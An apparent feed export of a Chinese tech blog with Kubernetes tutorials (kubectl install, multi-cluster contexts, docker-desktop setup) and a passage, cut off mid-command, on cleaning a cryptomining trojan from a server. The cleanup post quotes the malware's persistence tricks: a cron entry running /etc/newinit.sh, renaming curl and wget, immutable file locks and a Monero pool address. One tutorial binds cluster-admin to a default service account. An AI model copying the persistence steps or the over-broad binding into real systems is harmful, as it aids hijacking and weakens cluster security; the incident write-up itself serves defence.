$TOKEN</span><br></pre></td></tr></table></figure><p>copy，使用token登录即可。</p><p>附件：</p><ul><li>kube-system-default.yaml</li></ul><figure class="highlight yaml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">apiVersion:</span> <span class="string">rbac.authorization.k8s.io/v1</span></span><br><span class="line"><span class="attr">kind:</span> <span class="string">ClusterRoleBinding</span></span><br><span class="line"><span class="attr">metadata:</span></span><br><span class="line">  <span class="attr">name:</span> <span class="string">kube-system-default</span></span><br><span class="line">  <span class="attr">labels:</span></span><br><span class="line">    <span class="attr">k8s-app:</span> <span class="string">kube-system</span></span><br><span class="line"><span class="attr">roleRef:</span></span><br><span class="line">  <span class="attr">apiGroup:</span> <span class="string">rbac.authorization.k8s.io</span></span><br><span class="line">  <span class="attr">kind:</span> <span class="string">ClusterRole</span></span><br><span class="line">  <span class="attr">name:</span> <span class="string">cluster-admin</span></span><br><span class="line"><span class="attr">subjects:</span></span><br><span class="line">  <span class="bullet">-</span> <span class="attr">kind:</span> <span class="string">ServiceAccount</span></span><br><span class="line">    <span class="attr">name:</span> <span class="string">default</span></span><br><span class="line">    <span class="attr">namespace:</span> <span class="string">kube-system</span></span><br><span class="line"></span><br><span class="line"><span class="meta">---</span></span><br><span class="line"></span><br><span class="line"><span class="attr">apiVersion:</span> <span class="string">v1</span></span><br><span class="line"><span class="attr">kind:</span> <span class="string">Secret</span></span><br><span class="line"><span class="attr">metadata:</span></span><br><span class="line">  <span class="attr">name:</span> <span class="string">default</span></span><br><span class="line">  <span class="attr">namespace:</span> <span class="string">kube-system</span></span><br><span class="line">  <span class="attr">labels:</span></span><br><span class="line">    <span class="attr">k8s-app:</span> <span class="string">kube-system</span></span><br><span class="line">  <span class="attr">annotations:</span></span><br><span class="line">    <span class="attr">kubernetes.io/service-account.name:</span> <span class="string">default</span></span><br><span class="line"><span class="attr">type:</span> <span class="string">kubernetes.io/service-account-token</span></span><br></pre></td></tr></table></figure>]]></content>
    
    
      
      
    <summary type="html">&lt;h4 id=&quot;前言&quot;&gt;&lt;a href=&quot;#前言&quot; class=&quot;headerlink&quot; title=&quot;前言&quot;&gt;&lt;/a&gt;前言&lt;/h4&gt;&lt;p&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Kubernetes dashboard控制台是一个网页版的控制台，虽然好用，但实际上，我更</summary>
      
    
    
    
    <category term="kubernetes" scheme="https://32e.co/categories/kubernetes/"/>
    
    
    <category term="kubectl" scheme="https://32e.co/tags/kubectl/"/>
    
    <category term="k8s" scheme="https://32e.co/tags/k8s/"/>
    
  </entry>
  
  <entry>
    <title>k8s-通过kubectl管理多套kubernetes集群</title>
    <link href="https://32e.co/2021/05/02/k8s-kubectl-manage-multiple-clusters/"/>
    <id>https://32e.co/2021/05/02/k8s-kubectl-manage-multiple-clusters/</id>
    <published>2021-05-02T13:25:01.000Z</published>
    <updated>2022-05-14T16:51:00.617Z</updated>
    
    <content type="html"><![CDATA[<h4 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h4><p>&nbsp;&nbsp;&nbsp;&nbsp;<code>kubectl config</code>支持通过配置文件管理多个集群， 将集群、用户和上下文定义在一个或多个配置文件中之后，用户可以使用 kubectl config use-context 命令快速地在集群之间进行切换。</p><p>&nbsp;&nbsp;&nbsp;&nbsp;如何使用配置文件来配置对多个集群的访问，要怎么配置呢？我们用一个案例来详细看看。</p><p>常用命令：</p><table><thead><tr><th>命令</th><th>作用</th></tr></thead><tbody><tr><td><code>kubectl config get-contexts</code></td><td>获取当前客户端支持的上下文配置</td></tr><tr><td><code>kubectl config use-context &lt;要切换的目标上下文&gt;</code></td><td>切换客户端当前设置的上下文</td></tr></tbody></table><h4 id="案例"><a href="#案例" class="headerlink" title="案例"></a>案例</h4><p>假设我们现在有测试和生产两个k8s集群：</p><ul><li>test：开发测试使用的环境</li><li>prod：生产正式使用的环境</li></ul><p>效果：通过kubectl配置两套集群的上下文，然后可以通过切换上下文，去连接不同的集群。如：切换到prod后，后续所有kubectl命令发送到prod集群，切换到test，则发送到test集群。</p><h4 id="如何配置多集群访问"><a href="#如何配置多集群访问" class="headerlink" title="如何配置多集群访问"></a>如何配置多集群访问</h4><p>1，在 <code>$HOME/.kube</code> 目录下创建多个环境的配置文件，如：<code>config-test</code>、<code>config-prod</code>，然后将集群对应的连接信息，配置到对应的config文件中</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">注：不知道怎么找到 $HOME&#x2F;.kube 目录？ 或许你可以直接在命令终端执行：open $HOME&#x2F;.kube</span><br></pre></td></tr></table></figure><p>2，修改对应环境的config文件，统一集群、上下文、当前上下、用户名称，以方便后面管理</p><ul><li>修改<code>config-test</code>连接信息，将名称统一为：<code>k8s-test</code>，如：<figure class="highlight yml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">apiVersion:</span> <span class="string">v1</span></span><br><span class="line"><span class="attr">clusters:</span></span><br><span class="line"><span class="bullet">-</span> <span class="attr">cluster:</span></span><br><span class="line">    <span class="attr">server:</span> <span class="string">https://47.103.114.16:6443</span></span><br><span class="line">    <span class="attr">certificate-authority-data:</span> <span class="string">xxxxx省略xxxx</span></span><br><span class="line">  <span class="attr">name:</span> <span class="string">k8s-test</span> <span class="comment"># 修改的内容</span></span><br><span class="line"><span class="attr">contexts:</span></span><br><span class="line"><span class="bullet">-</span> <span class="attr">context:</span></span><br><span class="line">    <span class="attr">cluster:</span> <span class="string">k8s-test</span> <span class="comment"># 修改的内容</span></span><br><span class="line">    <span class="attr">user:</span> <span class="string">k8s-test</span> <span class="comment"># 修改的内容</span></span><br><span class="line">  <span class="attr">name:</span> <span class="string">k8s-test</span> <span class="comment"># 修改的内容</span></span><br><span class="line"><span class="attr">current-context:</span> <span class="string">k8s-test</span> <span class="comment"># 修改的内容</span></span><br><span class="line"><span class="attr">kind:</span> <span class="string">Config</span></span><br><span class="line"><span class="attr">preferences:</span> &#123;&#125;</span><br><span class="line"><span class="attr">users:</span></span><br><span class="line"><span class="bullet">-</span> <span class="attr">name:</span> <span class="string">k8s-test</span> <span class="comment"># 修改的内容</span></span><br><span class="line">  <span class="attr">user:</span></span><br><span class="line">    <span class="attr">client-certificate-data:</span> <span class="string">xxxxx省略xxxx</span></span><br><span class="line">    <span class="attr">client-key-data:</span> <span class="string">LS0</span></span><br></pre></td></tr></table></figure></li><li>修改<code>config-prod</code>连接信息，将名称统一为：<code>k8s-prod</code>，如：</li></ul><figure class="highlight yml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">apiVersion:</span> <span class="string">v1</span></span><br><span class="line"><span class="attr">clusters:</span></span><br><span class="line"><span class="bullet">-</span> <span class="attr">cluster:</span></span><br><span class="line">    <span class="attr">server:</span> <span class="string">https://47.103.114.16:6443</span></span><br><span class="line">    <span class="attr">certificate-authority-data:</span> <span class="string">xxxxx省略xxxx</span></span><br><span class="line">  <span class="attr">name:</span> <span class="string">k8s-prod</span> <span class="comment"># 修改的内容</span></span><br><span class="line"><span class="attr">contexts:</span></span><br><span class="line"><span class="bullet">-</span> <span class="attr">context:</span></span><br><span class="line">    <span class="attr">cluster:</span> <span class="string">k8s-prod</span> <span class="comment"># 修改的内容</span></span><br><span class="line">    <span class="attr">user:</span> <span class="string">k8s-prod</span> <span class="comment"># 修改的内容</span></span><br><span class="line">  <span class="attr">name:</span> <span class="string">k8s-prod</span> <span class="comment"># 修改的内容</span></span><br><span class="line"><span class="attr">current-context:</span> <span class="string">k8s-prod</span> <span class="comment"># 修改的内容</span></span><br><span class="line"><span class="attr">kind:</span> <span class="string">Config</span></span><br><span class="line"><span class="attr">preferences:</span> &#123;&#125;</span><br><span class="line"><span class="attr">users:</span></span><br><span class="line"><span class="bullet">-</span> <span class="attr">name:</span> <span class="string">k8s-prod</span> <span class="comment"># 修改的内容</span></span><br><span class="line">  <span class="attr">user:</span></span><br><span class="line">    <span class="attr">client-certificate-data:</span> <span class="string">xxxxx省略xxxx</span></span><br><span class="line">    <span class="attr">client-key-data:</span> <span class="string">LS0</span></span><br></pre></td></tr></table></figure><p>3，执行命令将<code>config-prod</code>和<code>config-test</code>的配置合并到<code>$HOME/.kube/config</code>中</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">KUBECONFIG=config-prod:config-test kubectl config view --flatten &gt; <span class="variable">$HOME</span>/.kube/config</span><br></pre></td></tr></table></figure><p>执行完成后，可以通过<code>cat $HOME/.kube/config</code>查看，此时应该已经合并完成了。</p><p>4，获取当前客户端支持的上下文配置</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">kubectl config get-contexts</span><br></pre></td></tr></table></figure><p>输出：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">CURRENT   NAME       CLUSTER    AUTHINFO   NAMESPACE</span><br><span class="line">          k8s-prod   k8s-prod   k8s-prod   </span><br><span class="line">*         k8s-test   k8s-test   k8s-test </span><br></pre></td></tr></table></figure><p>注：CURRENT下，带<code>*</code>的就是当前使用的上下文，比如现在，就表示目前连接的是k8s-test环境</p><p>5，切换客户端当前设置的上下文，比如我们切换到k8s-prod环境</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">kubectl config use-context k8s-prod</span><br></pre></td></tr></table></figure><p>输出：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">Switched to context &quot;k8s-prod&quot;.</span><br></pre></td></tr></table></figure><p>官方文档：<a href="https://kubernetes.io/zh/docs/tasks/access-application-cluster/configure-access-multiple-clusters/">配置多集群访问</a></p>]]></content>
    
    
      
      
    <summary type="html">&lt;h4 id=&quot;前言&quot;&gt;&lt;a href=&quot;#前言&quot; class=&quot;headerlink&quot; title=&quot;前言&quot;&gt;&lt;/a&gt;前言&lt;/h4&gt;&lt;p&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;code&gt;kubectl config&lt;/code&gt;支持通过配置文件管理多个集群， 将集群</summary>
      
    
    
    
    <category term="kubernetes" scheme="https://32e.co/categories/kubernetes/"/>
    
    
    <category term="kubectl" scheme="https://32e.co/tags/kubectl/"/>
    
    <category term="k8s" scheme="https://32e.co/tags/k8s/"/>
    
  </entry>
  
  <entry>
    <title>k8s-通过docker-desktop快速搭建k8s集群(mac环境)</title>
    <link href="https://32e.co/2021/05/01/k8s-for-mac-docker-desktop/"/>
    <id>https://32e.co/2021/05/01/k8s-for-mac-docker-desktop/</id>
    <published>2021-05-01T15:15:22.000Z</published>
    <updated>2022-05-14T17:22:36.078Z</updated>
    
    <content type="html"><![CDATA[<h4 id="开始前的准备"><a href="#开始前的准备" class="headerlink" title="开始前的准备"></a>开始前的准备</h4><p>&nbsp;&nbsp;&nbsp;&nbsp;本文基于mac电脑，开始前需要先在本地安装<code>Docker Desktop</code>，可以在<a href="https://www.docker.com/get-started/">docker官网</a>直接下载。</p><p>为了让Docker镜像下载的更加丝滑，建议在安装Docker Desktop后，为 Docker daemon 配置下镜像加速，国内常见的镜加速地址：</p><ul><li>Docker中国官方镜像加速地址<figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">--registry-mirror=https://registry.docker-cn.com</span></span><br></pre></td></tr></table></figure></li><li>网易163镜像加速地址<figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">--registry-mirror=http://hub-mirror.c.163.com</span></span><br></pre></td></tr></table></figure></li><li>中科大镜像加速地址<figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">--registry-mirror=https://docker.mirrors.ustc.edu.cn</span></span><br></pre></td></tr></table></figure></li></ul><p>怎么配置？打开设置：Preferences &gt;&gt; Docker Engine，在json中添加<code>registry-mirrors</code>配置，保存重启即可：</p><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">&#123;</span><br><span class="line">  <span class="attr">&quot;registry-mirrors&quot;</span>: [</span><br><span class="line">    <span class="string">&quot;https://docker.mirrors.ustc.edu.cn/&quot;</span></span><br><span class="line">  ]</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h4 id="在docker-desktop中开启kubernetes"><a href="#在docker-desktop中开启kubernetes" class="headerlink" title="在docker-desktop中开启kubernetes"></a>在docker-desktop中开启kubernetes</h4><p>1，进入 Preferences &gt;&gt; Kubernetes，然后钩上<code>Enable Kubernetes</code>，点击 Apply&amp;Restart</p><p><img src="https://soilove.oss-cn-hangzhou.aliyuncs.com/32e/k8s/docker-desktop-enable-k8s.png" alt="Docker-Desktop Enable Kubernetes"></p><p>如图，如果一切顺利，集群能够正常启动成功，并且左下角的图标颜色会变成绿色的。</p><p>2，如果上面第一步始终没有办法启动成功？别急，那是因为有的镜像没有下载成功，跟这我做。</p><p>阿里云在github上提供了一个k8s-for-docker-desktop的项目，我们可以通过这个项目将集群所需的相关镜像下载到本地。</p><p>打开命令行工具，克隆项目：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">git <span class="built_in">clone</span> https://github.com/AliyunContainerService/k8s-for-docker-desktop.git</span><br></pre></td></tr></table></figure><p>注：如果你对安装的k8s版本有要求，那你需要先切换到指定的分支，然后再进行后续的操作，你可以通过<code>git branch -a</code>查看有哪些分支：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">git branch -a</span><br></pre></td></tr></table></figure><p>输出：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">* master</span><br><span class="line">  ......</span><br><span class="line">  remotes&#x2F;origin&#x2F;v1.19.7</span><br><span class="line">  remotes&#x2F;origin&#x2F;v1.21.1</span><br><span class="line">  remotes&#x2F;origin&#x2F;v1.21.2</span><br><span class="line">  remotes&#x2F;origin&#x2F;v1.21.3</span><br><span class="line">  remotes&#x2F;origin&#x2F;v1.21.4</span><br><span class="line">  remotes&#x2F;origin&#x2F;v1.21.5</span><br><span class="line">  remotes&#x2F;origin&#x2F;v1.22.4</span><br><span class="line">  ......</span><br></pre></td></tr></table></figure><p>我这里使用的是v1.22.4，执行checkout命令切换到对应分支：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">git checkout v1.22.4</span><br></pre></td></tr></table></figure><p>现在，我们执行当前分支下的load_images.sh脚本， 从阿里云镜像服务下载 目标版本的 Kubernetes 所需要的镜像：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">sh ./load_images.sh</span><br></pre></td></tr></table></figure><p>脚本执行完成后，再次 开启 Kubernetes，等待集群启动成功即可。</p><p>3，验证集群，集群的名称默认为：<code>docker-desktop</code> 我们可以直接通过kubectl连接验证：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">kubectl config use-context docker-desktop</span><br></pre></td></tr></table></figure><p>获取节点信息试试：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">kubectl get nodes</span><br></pre></td></tr></table></figure><p>输出：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">NAME             STATUS   ROLES                  AGE    VERSION</span><br><span class="line">docker-desktop   Ready    control-plane,master   1d   v1.22.4</span><br></pre></td></tr></table></figure><p>完成！</p>]]></content>
    
    
      
      
    <summary type="html">&lt;h4 id=&quot;开始前的准备&quot;&gt;&lt;a href=&quot;#开始前的准备&quot; class=&quot;headerlink&quot; title=&quot;开始前的准备&quot;&gt;&lt;/a&gt;开始前的准备&lt;/h4&gt;&lt;p&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;本文基于mac电脑，开始前需要先在本地安装&lt;code&gt;Doc</summary>
      
    
    
    
    <category term="kubernetes" scheme="https://32e.co/categories/kubernetes/"/>
    
    
    <category term="kubectl" scheme="https://32e.co/tags/kubectl/"/>
    
    <category term="k8s" scheme="https://32e.co/tags/k8s/"/>
    
  </entry>
  
  <entry>
    <title>k8s-如何安装kubectl命令行工具</title>
    <link href="https://32e.co/2021/05/01/k8s-install-kubectl/"/>
    <id>https://32e.co/2021/05/01/k8s-install-kubectl/</id>
    <published>2021-05-01T13:25:01.000Z</published>
    <updated>2022-05-14T16:51:06.952Z</updated>
    
    <content type="html"><![CDATA[<h4 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h4><p>&nbsp;&nbsp;&nbsp;&nbsp;<code>kubectl</code>是kubernetes的命令行工具，它可以用于集群资源管理、应用程序部署、维护检查、查看日志等，是集群管理员的必备工具之一。</p><p>安装环境：macOS Intel</p><h4 id="在mac上安装kubectl"><a href="#在mac上安装kubectl" class="headerlink" title="在mac上安装kubectl"></a>在mac上安装kubectl</h4><p>1，通过curl binary的方式，在macOS上安装最新版本的kubectl命令行工具</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">curl -LO <span class="string">&quot;https://dl.k8s.io/release/<span class="subst">$(curl -L -s https://dl.k8s.io/release/stable.txt)</span>/bin/darwin/amd64/kubectl&quot;</span></span><br></pre></td></tr></table></figure><p>如果你希望安装指定版本的kubectl，可以替换上面命令的“$()”部分为指定的版本号，如：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">curl -LO <span class="string">&quot;https://dl.k8s.io/release/v1.24.0/bin/darwin/amd64/kubectl&quot;</span></span><br></pre></td></tr></table></figure><p>2，验证二进制文件，需要下载kubectl校验文件</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">curl -LO <span class="string">&quot;https://dl.k8s.io/release/<span class="subst">$(curl -L -s https://dl.k8s.io/release/stable.txt)</span>/bin/darwin/amd64/kubectl.sha256&quot;</span></span><br></pre></td></tr></table></figure><p>如果需要指定版本，同样替换“$()”部分即可，如：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">curl -LO <span class="string">&quot;https://dl.k8s.io/release/v1.24.0/bin/darwin/amd64/kubectl.sha256&quot;</span></span><br></pre></td></tr></table></figure><p>执行验证命令：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">echo</span> <span class="string">&quot;<span class="subst">$(cat kubectl.sha256)</span>  kubectl&quot;</span> | shasum -a 256 --check</span><br></pre></td></tr></table></figure><p>验证通过：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">kubectl: OK</span><br></pre></td></tr></table></figure><p>3，设置 kubectl 二进制文件可执行</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">chmod +x ./kubectl</span><br></pre></td></tr></table></figure><p>4，将kubectl二进制文件移动到系统路径上的文件位置</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">sudo mv ./kubectl /usr/<span class="built_in">local</span>/bin/kubectl</span><br><span class="line">sudo chown root: /usr/<span class="built_in">local</span>/bin/kubectl</span><br></pre></td></tr></table></figure><p>注意：确保/usr/local/bin位于PATH环境变量中。</p><p>5，测试查看安装的kubectl版本：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">kubectl version --client</span><br></pre></td></tr></table></figure><p>输出：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">Client Version: version.Info&#123;Major:&quot;1&quot;, Minor:&quot;21&quot;, GitVersion:&quot;v1.21.3&quot;, GitCommit:&quot;ca643a4d1f7bfe34773c74f79527be4afd95bf39&quot;, GitTreeState:&quot;clean&quot;, BuildDate:&quot;2021-07-15T21:04:39Z&quot;, GoVersion:&quot;go1.16.6&quot;, Compiler:&quot;gc&quot;, Platform:&quot;darwin&#x2F;amd64&quot;&#125;</span><br></pre></td></tr></table></figure><p>更多安装方式，可以查阅官方文档：</p><p><a href="https://kubernetes.io/docs/tasks/tools/?spm=5176.2020520152.0.0.49fd16dd9dGD62">kubectl安装指南</a></p><p><a href="https://kubernetes.io/zh/docs/reference/kubectl/overview/">kubectl使用指南</a></p><h4 id="kubelctl使用方法"><a href="#kubelctl使用方法" class="headerlink" title="kubelctl使用方法"></a>kubelctl使用方法</h4><p>1，安装完成后，在 $HOME/.kube 目录下有一个名为 config 的配置文件，用于管理集群的链接信息。<br>所以，需要将我们的kubernetes集群链接信息，复制到config文件中</p><p>2，验证连接，kubectl查看namespace=default下的pod</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">kubectl get pod -n default -o wide</span><br></pre></td></tr></table></figure><p>输出：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">NAME                  READY   STATUS    RESTARTS   AGE    IP             NODE                         NOMINATED NODE   READINESS GATES</span><br><span class="line">test-77ddd86659-l84tv   1&#x2F;1     Running   1         2d   172.20.6.123   cn-shanghai.192.168.92.118   &lt;none&gt;           &lt;none&gt;</span><br></pre></td></tr></table></figure>]]></content>
    
    
      
      
    <summary type="html">&lt;h4 id=&quot;前言&quot;&gt;&lt;a href=&quot;#前言&quot; class=&quot;headerlink&quot; title=&quot;前言&quot;&gt;&lt;/a&gt;前言&lt;/h4&gt;&lt;p&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;code&gt;kubectl&lt;/code&gt;是kubernetes的命令行工具，它可以用于集群资</summary>
      
    
    
    
    <category term="kubernetes" scheme="https://32e.co/categories/kubernetes/"/>
    
    
    <category term="kubectl" scheme="https://32e.co/tags/kubectl/"/>
    
    <category term="k8s" scheme="https://32e.co/tags/k8s/"/>
    
  </entry>
  
  <entry>
    <title>机器被挖矿！怎么解？</title>
    <link href="https://32e.co/2021/02/09/linux-kill-mining-attack/"/>
    <id>https://32e.co/2021/02/09/linux-kill-mining-attack/</id>
    <published>2021-02-09T03:01:22.000Z</published>
    <updated>2021-03-18T06:17:54.196Z</updated>
    
    <content type="html"><![CDATA[<h3 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h3><p>今天上午，突然发现ECS上的一些服务无法访问，而能访问的，请求响应也很慢，回想了一下，好像也没跑什么能使内存或cpu暴涨的程序啊。<br>于是，立马抄上我的二手mac登录服务器，好家伙，发现部分进程被杀死，cpu也飙了到100%，绝逼是被植入了恶意木马呀。</p><p>执行<code>htop</code>一看，便发现了这个恶意进程，根据进程的command信息找到了一些关键内容：<code>stratum+tcp://xmr-asia1.nanopool.org:14444</code>，这尼玛不就是矿池地址吗，看来是被植入了挖矿木马，成了人家的免费劳动力啊。</p><h3 id="木马查杀"><a href="#木马查杀" class="headerlink" title="木马查杀"></a>木马查杀</h3><p>知道问题原因后，解决起来就很容易了，首先看看有没有恶意的定时任务，先消灭掉，否则查杀进程起不了什么作用，消停一会就换个进程继续上演了。</p><p>1，到/var/spool/cron目录，查看定时任务</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">cd</span> /var/spool/cron</span><br><span class="line">ls</span><br></pre></td></tr></table></figure><p>发现多了一个root文件，<code>cat root</code>看了下内容：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">*&#x2F;30 * * * * sh &#x2F;etc&#x2F;newinit.sh &gt;&#x2F;dev&#x2F;null 2&gt;&amp;1</span><br></pre></td></tr></table></figure><p>任务内容：每30秒，运行一次/etc/newinit.sh脚本</p><p><code>sudo rm -rf root</code>:权限不足！呵呵，不急，应该是被设置来锁定属性来，一会再来收拾它。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">sudo rm -rf root</span><br><span class="line"></span><br><span class="line">输出：rm: cannot remove ‘root’: Permission denied</span><br></pre></td></tr></table></figure><p>2，执行<code>/etc/newinit.sh</code>查看文件内容，卧槽，瞬间脸就绿了！TMD，各种授权、各种删、各种查杀和安装，文件属性也改了一堆。</p><p>比如脚本直接把curl替换为cd1，wget替换为wd1等等恶心的操作，还有其他重要的信息被篡改，这TMD良心被狗吃了么？</p><p>恢复起来难度不小，是在太麻烦的情况下，那就干脆选择重装系统吧。</p><p>如：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">mv &#x2F;usr&#x2F;bin&#x2F;curl &#x2F;usr&#x2F;bin&#x2F;url</span><br><span class="line">mv &#x2F;usr&#x2F;bin&#x2F;url &#x2F;usr&#x2F;bin&#x2F;cd1</span><br><span class="line">mv &#x2F;usr&#x2F;bin&#x2F;wget &#x2F;usr&#x2F;bin&#x2F;get</span><br><span class="line">mv &#x2F;usr&#x2F;bin&#x2F;get &#x2F;usr&#x2F;bin&#x2F;wd1</span><br></pre></td></tr></table></figure><p>执行命令删除文件，提示不能删除，应该也是被锁定了：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">sudo rm -rf &#x2F;etc&#x2F;newinit.sh</span><br><span class="line"></span><br><span class="line">输出：rm: cannot remove ‘&#x2F;etc&#x2F;newinit.sh’: Operation not permitted</span><br></pre></td></tr></table></figure><p>使用<code>lsattr</code>命令查看文件属性，查看文件属性：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">lsattr &#x2F;etc&#x2F;newinit.sh</span><br><span class="line"></span><br><span class="line">输出：----ia-------e-- newinit.sh</span><br></pre></td></tr></table></figure><p>注：通过命令 <code>chattr</code> 可以设置文件/文件夹的隐藏属性，来保证文件/文件夹的安全，其中比较重要的参数为i和a，这两个属性只有root用户才可以设置或清除。</p><p>很好！移除文件属性，再次删除文件，搞定！</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">chattr -ia /etc/newinit.sh </span><br><span class="line">rm -rf /etc/newinit.sh</span><br></pre></td></tr></table></figure><p>刚才脚本里的lock_cron()函数锁定了定时任务的好几个目录，也提供了unlock_cron()函数用来清除属性，那正好，就拷贝这个函数里的命令，把它设置的都清除，省得麻烦。</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">chattr -R -ia /var/spool/cron</span><br><span class="line">chattr -ia /etc/crontab</span><br><span class="line">chattr -R -ia /var/spool/cron/crontabs</span><br><span class="line">chattr -R -ia 